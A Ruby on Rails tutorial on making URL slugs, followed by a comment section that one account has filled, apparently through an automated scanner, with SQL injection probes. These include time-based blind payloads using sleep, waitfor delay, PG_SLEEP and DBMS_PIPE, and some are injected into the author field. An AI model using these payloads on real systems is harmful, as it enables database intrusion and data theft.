How to slugify a string in Ruby on Rails
Aug 25, 25 / 87 comments
/
#Ruby on Rails
Slugifying a string in Ruby on Rails is very easy to do. Here's a few examples on how to do it.
1. Using Rails' parameterize method (I recommend this)
string = "Hello Stein! This is a Test"
slug = string.parameterize
# => "hello-stein-this-is-a-test"
# You can use custom separators
slug = string.parameterize(separator: '_')
# => "hello_stein_this_is_a_test"
2. Using parameterize with locale support
string = "Café & Restaurant"
slug = string.parameterize
# => "cafe-restaurant"
# Preserve unicode characters
slug = string.parameterize(preserve_case: true)
# => "Cafe-Restaurant"
3. For model attributes (Often used
class Article < ApplicationRecord
validates :slug, presence: true, uniqueness: true
before_validation :generate_slug, if: :title_changed?
private
def generate_slug
self.slug = title.parameterize if title.present?
end
end
4. Custom slugify method
Or if you want to make your own method to be more in control.
def slugify(string)
string.downcase
.strip
.gsub(/[^\w\s-]/, '') # Remove non-word characters except spaces and hyphens
.gsub(/\s+/, '-') # Replace spaces with hyphens
.gsub(/-+/, '-') # Replace multiple hyphens with single hyphen
.gsub(/^-|-$/, '') # Remove leading/trailing hyphens
end
slug = slugify("Hello World! This is a Test")
# => "hello-world-this-is-a-test"
Summary
So, that was 4 different ways to make slugs from strings in Ruby on Rails. What's your preferred way to do this?
Comments
EFSArCBy | Jul 02, 26 07:29
555
EFSArCBy | Jul 02, 26 07:30
555
EFSArCBy | Jul 02, 26 07:30
555
EFSArCBy | Jul 02, 26 07:30
-1 OR 2+292-292-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 07:30
-1 OR 2+776-776-1=0+0+0+1
EFSArCBy | Jul 02, 26 07:30
-1' OR 2+207-207-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 07:30
-1' OR 2+21-21-1=0+0+0+1 or 'STMjBKg4'='
EFSArCBy | Jul 02, 26 07:30
-1" OR 2+223-223-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 07:30
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 07:30
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 07:30
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 07:30
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 07:30
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 07:30
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 07:30
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 07:30
555vtxbJmBM'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 07:30
555-1 OR 911=(SELECT 911 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 07:30
555-1) OR 464=(SELECT 464 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 07:30
555-1)) OR 900=(SELECT 900 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 07:30
5556DLHsEsG' OR 26=(SELECT 26 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 07:30
555NlaMDNtY') OR 185=(SELECT 185 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 07:30
555rcgCpFx6')) OR 393=(SELECT 393 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 07:30
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 07:30
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 07:30
555
EFSArCBy | Jul 02, 26 07:30
555'"
EFSArCBy | Jul 02, 26 07:30
@@ukLrA
EFSArCBy | Jul 02, 26 07:30
555
EFSArCBy | Jul 02, 26 07:30
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
-1 OR 2+575-575-1=0+0+0+1 -- | Jul 02, 26 07:31
555
-1 OR 2+188-188-1=0+0+0+1 | Jul 02, 26 07:31
555
-1' OR 2+427-427-1=0+0+0+1 -- | Jul 02, 26 07:31
555
-1' OR 2+221-221-1=0+0+0+1 or 'yyOQbSSG'=' | Jul 02, 26 07:31
555
-1" OR 2+30-30-1=0+0+0+1 -- | Jul 02, 26 07:31
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:31
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:31
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:31
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:31
555
EFSArCByUypMhP4b'; waitfor delay '0:0:15' -- | Jul 02, 26 07:31
555
EFSArCByz1J9hm9Z' OR 620=(SELECT 620 FROM PG_SLEEP(15))-- | Jul 02, 26 07:31
555
EFSArCByF20bN3eO') OR 719=(SELECT 719 FROM PG_SLEEP(15))-- | Jul 02, 26 07:31
555
EFSArCByAltpTMP3')) OR 33=(SELECT 33 FROM PG_SLEEP(15))-- | Jul 02, 26 07:31
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy'" | Jul 02, 26 07:31
555
@@nMbyn | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
EFSArCBy | Jul 02, 26 07:31
555
Add comment
Please log in to comment!